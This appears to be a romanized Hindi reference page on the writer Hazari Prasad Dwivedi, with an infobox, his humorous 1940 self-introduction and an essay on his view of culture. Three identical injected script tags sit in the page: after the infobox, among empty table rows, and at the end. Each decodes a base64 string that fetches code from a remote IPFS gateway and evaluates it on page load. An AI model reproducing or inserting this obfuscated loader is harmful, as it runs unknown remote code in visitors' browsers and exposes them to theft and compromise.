हज़ारी प्रसाद द्विवेदी का आत्म परिचय
hazari prasad dvivedi ka atm parichay
| |
| poora nam | d aau. hazari prasad dvivedi |
| janm | 19 agast, 1907 ee. |
| janm bhoomi | gaanv 'arat dube ka chhapara', baliya zila, uttar pradesh |
| mrityu | 19 mee, 1979 |
| karm bhoomi | varanasi |
| karm-kshetr | nibandhakar, upanyasakar, adhyapak, sampadak |
| mukhy rachanaean | soor sahity, banabhatt, kabir, ashok ke phool, hindi sahity ki bhoomika, hindi sahity ka adikal, nath sampraday, prithviraj raso |
| vishay | nibandh, kahani, upanyas, alochana |
| bhasha | hindi |
| vidyalay | kashi hindoo vishvavidyalay |
| shiksha | barahavian |
| puraskar-upadhi | padm bhooshan |
| nagarikata | bharatiy |
| any janakari | dvivedi ji kee varshoan tak kashi nagari pracharini sabha ke upasabhapati, 'khoj vibhag' ke nirdeshak tatha 'nagari pracharini patrika' ke sampadak rahe haian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hazari prasad dvivedi ne 1940 mean ek bar atm parichay maange jane par tulasi ke jivan ka ullekh karate hue, atm-upahas ki shaili mean ek phakk dana aandazamean apana parichay diya, jo n keval unake vyaktitv ko udghatit karata hai, balki sahity aur jivan ke prati unake ravaiye aur unaki bhasha-shaili ka bhi pratinidhitv karata hai. use yahaan uddhrit karana aprasangik nahian hoga.
atm parichay
"vikram ki bisavian shatabdi ki doosari tihaee khatm bhi nahian hone payi thi ki dharadham mean avatirn ho gaya. janm usi abhuktamool nakshatr mean hua tha, jisamean paida hone ki saja ke roop mean kahate haian, baba tulasidas ke mata-pita ne janamate hi unhean kahian pheank diya tha. hazari prasad tulasidas se adhik bhagyashali haian. pahale janm ke bad maan-bap ne shaanti svastyayan ke bad use svikar kar liya, par dvijatv ki prapti ke bad arthath vishvavidyalay ke samavartan ke pashchath matribhoomi vale prant ne, jo uthakar bahar pheanka so abhi bangal mean hi p da hai. abhi bhi jita chal raha hai aur adami sab milakar bura nahian hai. bhagy ka saandh janm se hi hai, kyoanki boodhoan ne use jo nam shuroo se diya tha, vah ek jabardast ghatana ke karan hamesha ke lie vismriti ke apar sagar mean doob gaya. kahian se ghar valoan ko hajar rupaye ki amadani ho gayi aur janasadharan ne is aparampar dhanarashi ke aitihasik mahatv ko sthayi bana rakhane ke lie 'hajari' nam de diya. adami, jaisa ki shuroo mean hi kaha gaya hai, bura nahian hai, tho da kritajn bhi hai. is demokresi ke khatare ke yug mean bhi jan sadharan ke die hue nam ko 'prasad' ke roop mean ab bhi dhoye ja raha hai. yadyapi janm ke bad ab tak usaka yah nam Contradiction in terms hi raha hai. is yug mean yah kam kritajnata ki bat nahian kahi jayegi. so aisa hai, yah hajari prasad."[1]
dvivedi ji ke sarokar
hazari prasad dvivedi ka sanskriti-chintan
sanskriti ka svaroop- age dekho. jivan age badhane ka nam hai. jo avantar hai, anavashyak hai, roodh hai, use chho do. jo navin hai, jivant hai, use grahan karo.
hazari prasad dvivedi ka yah sandesh unake jivan aur unaki sahity sadhana ka sabase b da sach tha. isilie ve sanskriti aur panrapara ka dhol nahian pitate aur n hi pragatishil ke nam par use ek sire se nakarate haian. balki ve paranpara ko usaki nirantarata mean svikar karate haian. isilie unaka sanskriti-chintan adhunik bhavabodh se ju d jata hai. unake vyaktitv aur sahity ke bhoogol mean paranpara aur adhunikata nadi ke do chhor nahian; balki do pat haian, jo samanantar chalate haian. kiantu ye pat kab ek-doosare ko sparsh kar apani bhoomika evan disha ko naye sire se paribhashit kar lete haian, pata hi nahian chalata. unake bich hi sanskriti ki aantardhara pravahit hoti hai.
yah bat bar-bar doharaee jati hai ki bharatiy sanskriti mean unaki asim nishtha thi. lekin yahaan yah jan lena avashyak hai ki sanskriti ka arth unake lie atyant vyapak hai. paranpara aur adhunikata ke santulan ke sath hi lokatatv ka soandhapan unaki sanskriti aur sahity ko pukhta jamin pradan karata hai. vastutah dvivedi ji ek yugantakari rachanakar haian, jinhoanne apane lekhan ki har vidha mean paranpara ke ujjval paksh ko udghatit kiya hai, parantu ve usake j d paksh par nirmam prahar bhi karate haian. sanskriti ki avichchhinn dhara ke sire paranpara, itihas, adhunikata aur lokatv se ju de haian. isalie in sabake sath dvivedi ji sanskriti ke bahav ko svikar karate haian. unaka yah sanskriti-chintan manushy ke sarokaroan ko kendr mean rakhakar vistar pata hai. sanskriti ka sidha sanbandh manushy se haian. manushy ke apasi sanbandh ke svaroop ke adhar par hi sanskriti ka svaroop nirdharit hota hai, isalie samaj mean badalav ke sath hi manav sanbandh aur tatparinam sanskriti ka svaroop bhi badalata rahata hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ doosari paranpara ki khoj'- namavar sianh
bahari k diyaan
- hazari prasad dvivedi (vishay parichay)
- achary hajari prasad dvivedi ka jivan parichay
- achary hazari prasad dvivedi ki jivani
- hazariprasad dvivedi sankalit nibandh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>